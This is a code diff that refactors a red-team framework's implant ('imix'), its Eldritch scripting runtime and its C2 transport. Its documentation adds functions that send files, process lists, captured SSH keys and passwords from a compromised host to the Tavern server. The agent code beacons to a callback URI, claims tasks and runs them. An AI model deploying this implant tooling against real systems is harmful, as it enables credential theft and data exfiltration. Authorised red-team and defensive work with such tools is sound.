[feature] Refactor Concurrency

docs/_docs/user-guide/eldritch.md

@@ -90,6 +90,7 @@ It currently contains seven modules:
 - `file` - Used to interact with files on the system.
 - `pivot` - Used to identify and move between systems.
 - `process` - Used to interact with processes on the system.
+- `report` - Structured data reporting capabilities.
 - `sys` - General system capabilities can include loading libraries, or information about the current context.
 - `time` - General functions for obtaining and formatting time, also add delays into code.
 
@@ -635,6 +636,36 @@ The <b>process.netstat</b> method returns all information on TCP, UDP, and Unix
 
 ---
 
+## Report
+
+The report library is designed to enable reporting structured data to Tavern. It's API is still in the active development phase, so **future versions of Eldritch may break tomes that rely on this API**.
+
+### report.file
+
+`report.file(path: str) -> None`
+
+Reports a file from the host that an Eldritch Tome is being evaluated on (e.g. a compromised system) to Tavern. It has a 1GB size limit, and will report the file in 1MB chunks. This process happens asynchronously, so after `report.file()` returns **there are no guarantees about when this file will be reported**. This means that if you delete the file immediately after reporting it, it may not be reported at all (race condition).
+
+### report.process_list
+
+`report.process_list(list: List<Dict>) -> None`
+
+Reports a snapshot of the currently running processes on the host system. This should only be called with the entire process list (e.g. from calling `process.list()`), as it will replace Tavern's current list of processes for the host with this new snapshot.
+
+### report.ssh_key
+
+`report.ssh_key(username: str, key: str) -> None`
+
+Reports a captured SSH Key credential to Tavern. It will automatically be associated with the host that the Eldritch Tome was being evaluated on.
+
+### report.user_password
+
+`report.user_password(username: str, password: str) -> None`
+
+Reports a captured username & password combination to Tavern. It will automatically be associated with the host that the Eldritch Tome was being evaluated on.
+
+---
+
 ## Sys
 
 ### sys.dll_inject

implants/Cargo.toml

@@ -1,8 +1,12 @@
 [workspace]
-members = ["imix", "golem", "lib/eldritch", "lib/c2"]
+members = ["imix", "golem", "lib/eldritch", "lib/transport", "lib/pb"]
 resolver = "2"
 
 [workspace.dependencies]
+transport = { path = "./lib/transport" }
+eldritch = { path = "./lib/eldritch" }
+pb = { path = "./lib/pb" }
+
 aes = "0.8.3"
 allocative = "0.3.2"
 allocative_derive = "0.3.2"
@@ -15,7 +19,6 @@ chrono = "0.4.24"
 clap = "3.2.23"
 default-net = "0.13.1"
 derive_more = "0.99.17"
-eldritch = { path = "./lib/eldritch" }
 eval = "0.4.3"
 flate2 = "1.0.24"
 gazebo = "0.8.1"
@@ -29,6 +32,7 @@ itertools = "0.10"
 lsp-types = "0.93.0"
 log = "0.4.20"
 md5 = "0.7.0"
+mockall = "0.12.1"
 netstat2 = "0.9.1"
 network-interface = "1.0.1"
 nix = "0.26.1"
@@ -58,15 +62,15 @@ structopt = "0.3.23"
 sys-info = "0.9.1"
 sysinfo = "0.29.7"
 tar = "0.4.38"
-tonic-build = "0.10"
-c2 = { path = "./lib/c2" }
 tempfile = "3.3.0"
 tera = "1.17.1"
 thiserror = "1.0.30"
 tokio = "1.19.1"
 tokio-stream = "0.1.9"
 tokio-test = "*"
 tonic = { git = "https://github.com/hyperium/tonic.git", rev = "07e4ee1" }
+tonic-build = "0.10"
+trait-variant = "0.1.1"
 uuid = "1.5.0"
 which = "4.4.2"
 whoami = "1.3.0"

implants/golem/Cargo.toml

@@ -4,8 +4,10 @@ version = "0.0.5"
 edition = "2021"
 
 [dependencies]
-starlark_lsp = "0.12.0"
+pb = { workspace = true }
 eldritch = { workspace = true, features = ["print_stdout"] }
+
+starlark_lsp = "0.12.0"
 tokio = { workspace = true, features = ["macros"] }
 clap = { workspace = true }
 starlark = { workspace = true }

implants/golem/src/main.rs

@@ -5,7 +5,8 @@ mod inter;
 
 use anyhow::{anyhow, Result};
 use clap::{Arg, Command};
-use eldritch::pb::Tome;
+use eldritch::runtime::Message;
+use pb::eldritch::Tome;
 use std::collections::HashMap;
 use std::fs;
 use std::process;
@@ -16,25 +17,34 @@ struct ParsedTome {
 
 async fn run_tomes(tomes: Vec<ParsedTome>) -> Result<Vec<String>> {
     let mut runtimes = Vec::new();
+    let mut idx = 1;
     for tome in tomes {
-        let runtime = eldritch::start(Tome {
-            eldritch: tome.eldritch,
-            parameters: HashMap::new(),
-            file_names: Vec::new(),
-        })
+        let runtime = eldritch::start(
+            idx,
+            Tome {
+                eldritch: tome.eldritch,
+                parameters: HashMap::new(),
+                file_names: Vec::new(),
+            },
+        )
         .await;
         runtimes.push(runtime);
+        idx += 1;
     }
 
     let mut result = Vec::new();
     for runtime in &mut runtimes {
         runtime.finish().await;
-        let mut out = runtime.collect_text();
-        let errors = runtime.collect_errors();
-        if !errors.is_empty() {
-            return Err(anyhow!("tome execution failed: {:?}", errors));
+
+        for msg in runtime.messages() {
+            match msg {
+                Message::ReportText(m) => result.push(m.text()),
+                Message::ReportError(m) => {
+                    return Err(anyhow!("{}", m.error));
+                }
+                _ => {}
+            }
         }
-        result.append(&mut out);
     }
 
     Ok(result)

implants/imix/Cargo.toml

@@ -4,11 +4,14 @@ version = "0.0.5"
 edition = "2021"
 
 [dependencies]
+eldritch = { workspace = true, features = ["imix"] }
+pb = {workspace = true }
+transport = { workspace = true }
+
 anyhow = { workspace = true }
 chrono = { workspace = true , features = ["serde"] }
 clap = { workspace = true }
 default-net = { workspace = true }
-eldritch = { workspace = true, features = ["imix"] }
 hyper = { workspace = true }
 log = {workspace = true}
 openssl = { workspace = true, features = ["vendored"] }
@@ -19,7 +22,6 @@ reqwest = { workspace = true, features = ["blocking", "stream", "json"] }
 serde = { workspace = true, features = ["derive"] }
 serde_json = {workspace = true}
 sys-info = { workspace = true }
-c2 = { workspace = true }
 tonic = { workspace = true }
 tokio = { workspace = true, features = ["full"] }
 uuid = { workspace = true, features = ["v4","fast-rng"] }

implants/imix/src/agent.rs

@@ -1,41 +1,34 @@
 use crate::{config::Config, task::TaskHandle};
 use anyhow::Result;
-use c2::{
-    pb::{Beacon, ClaimTasksRequest},
-    Transport, GRPC,
-};
+use pb::c2::ClaimTasksRequest;
 use std::time::{Duration, Instant};
+use transport::{Transport, GRPC};
 
 /*
  * Agent contains all relevant logic for managing callbacks to a c2 server.
  * It is responsible for obtaining tasks, executing them, and returning their output.
  */
-pub struct Agent<T: Transport> {
-    info: Beacon,
-    tavern: T,
+pub struct Agent {
+    cfg: Config,
     handles: Vec<TaskHandle>,
 }
 
-impl Agent<GRPC> {
+impl Agent {
     /*
      * Initialize an agent using the provided configuration.
      */
-    pub async fn gen_from_config(cfg: Config) -> Result<Agent<GRPC>> {
-        let tavern = GRPC::new(cfg.callback_uri).await?;
-
+    pub fn new(cfg: Config) -> Result<Self> {
         Ok(Agent {
-            info: cfg.info,
-            tavern,
+            cfg,
             handles: Vec::new(),
         })
     }
 
     // Claim tasks and start their execution
-    async fn claim_tasks(&mut self) -> Result<()> {
-        let tasks = self
-            .tavern
+    async fn claim_tasks(&mut self, mut tavern: GRPC) -> Result<()> {
+        let tasks = tavern
             .claim_tasks(ClaimTasksRequest {
-                beacon: Some(self.info.clone()),
+                beacon: Some(self.cfg.info.clone()),
             })
             .await?
             .tasks;
@@ -51,7 +44,7 @@ impl Agent<GRPC> {
                 }
             };
 
-            let runtime = eldritch::start(tome).await;
+            let runtime = eldritch::start(task.id, tome).await;
             self.handles.push(TaskHandle::new(task.id, runtime));
 
             #[cfg(debug_assertions)]
@@ -61,19 +54,19 @@ impl Agent<GRPC> {
     }
 
     // Report task output, remove completed tasks
-    async fn report(&mut self) -> Result<()> {
+    async fn report(&mut self, mut tavern: GRPC) -> Result<()> {
         // Report output from each handle
         let mut idx = 0;
         while idx < self.handles.len() {
             // Drop any handles that have completed
             if self.handles[idx].is_finished() {
                 let mut handle = self.handles.remove(idx);
-                handle.report(&mut self.tavern).await?;
+                handle.report(&mut tavern).await?;
                 continue;
             }
 
             // Otherwise report and increment
-            self.handles[idx].report(&mut self.tavern).await?;
+            self.handles[idx].report(&mut tavern).await?;
             idx += 1;
         }
 
@@ -84,16 +77,17 @@ impl Agent<GRPC> {
      * Callback once using the configured client to claim new tasks and report available output.
      */
     pub async fn callback(&mut self) -> Result<()> {
-        self.claim_tasks().await?;
-        self.report().await?;
+        let transport = GRPC::new(self.cfg.callback_uri.clone())?;
+        self.claim_tasks(transport.clone()).await?;
+        self.report(transport.clone()).await?;
 
         Ok(())
     }
 
     /*
      * Callback indefinitely using the configured client to claim new tasks and report available output.
      */
-    pub async fn callback_loop(&mut self) {
+    pub async fn callback_loop(&mut self) -> Result<()> {
         loop {
             let start = Instant::now();
 
@@ -105,7 +99,7 @@ impl Agent<GRPC> {
                 }
             };
 
-            let interval = self.info.interval;
+            let interval = self.cfg.info.interval;
             let delay = match interval.checked_sub(start.elapsed().as_secs()) {
                 Some(secs) => Duration::from_secs(secs),
                 None => Duration::from_secs(0),

implants/imix/src/config.rs

@@ -1,5 +1,5 @@
 use crate::version::VERSION;
-use c2::pb::host::Platform;
+use pb::c2::host::Platform;
 use std::{
     fs::{self, File},
     io::Write,
@@ -52,7 +52,7 @@ pub const RETRY_INTERVAL: &str = retry_interval!();
  */
 #[derive(Debug, Clone)]
 pub struct Config {
-    pub info: c2::pb::Beacon,
+    pub info: pb::c2::Beacon,
     pub callback_uri: String,
     pub retry_interval: u64,
 }
@@ -62,18 +62,18 @@ pub struct Config {
  */
 impl Default for Config {
     fn default() -> Self {
-        let agent = c2::pb::Agent {
+        let agent = pb::c2::Agent {
             identifier: format!("imix-v{}", VERSION),
         };
 
-        let host = c2::pb::Host {
+        let host = pb::c2::Host {
             name: whoami::hostname(),
             identifier: get_host_id(get_host_id_path()),
             platform: get_host_platform() as i32,
             primary_ip: get_primary_ip(),
         };
 
-        let info = c2::pb::Beacon {
+        let info = pb::c2::Beacon {
             identifier: String::from(Uuid::new_v4()),
             principal: whoami::username(),
             interval: match CALLBACK_INTERVAL.parse::<u64>() {
@@ -155,7 +155,9 @@ fn get_host_id(file_path: String) -> String {
     // Read Existing Host ID
     let path = Path::new(file_path.as_str());
     if path.exists() {
-        if let Ok(host_id) = fs::read_to_string(path) { return host_id.trim().to_string() }
+        if let Ok(host_id) = fs::read_to_string(path) {
+            return host_id.trim().to_string();
+        }
     }
 
     // Generate New

implants/imix/src/install.rs

@@ -1,6 +1,7 @@
 use anyhow::{anyhow, Result};
-use eldritch::pb::Tome;
-use std::collections::HashMap;
+use eldritch::runtime::Message;
+use pb::eldritch::Tome;
+use std::{collections::HashMap, fmt::Write};
 
 pub async fn install() {
     #[cfg(debug_assertions)]
@@ -31,17 +32,31 @@ pub async fn install() {
             // Run tome
             #[cfg(debug_assertions)]
             log::info!("running tome {embedded_file_path}");
-            let mut runtime = eldritch::start(Tome {
-                eldritch,
-                parameters: HashMap::new(),
-                file_names: Vec::new(),
-            })
+            let mut runtime = eldritch::start(
+                0,
+                Tome {
+                    eldritch,
+                    parameters: HashMap::new(),
+                    file_names: Vec::new(),
+                },
+            )
             .await;
             runtime.finish().await;
 
-            let _output = runtime.collect_text().join("");
             #[cfg(debug_assertions)]
-            log::info!("{_output}");
+            let mut output = String::new();
+
+            #[cfg(debug_assertions)]
+            for msg in runtime.collect() {
+                if let Message::ReportText(m) = msg {
+                    if let Err(err) = output.write_str(m.text().as_str()) {
+                        #[cfg(debug_assertions)]
+                        log::error!("failed to write text: {}", err);
+                    }
+                }
+            }
+            #[cfg(debug_assertions)]
+            log::info!("{output}");
         }
     }
 }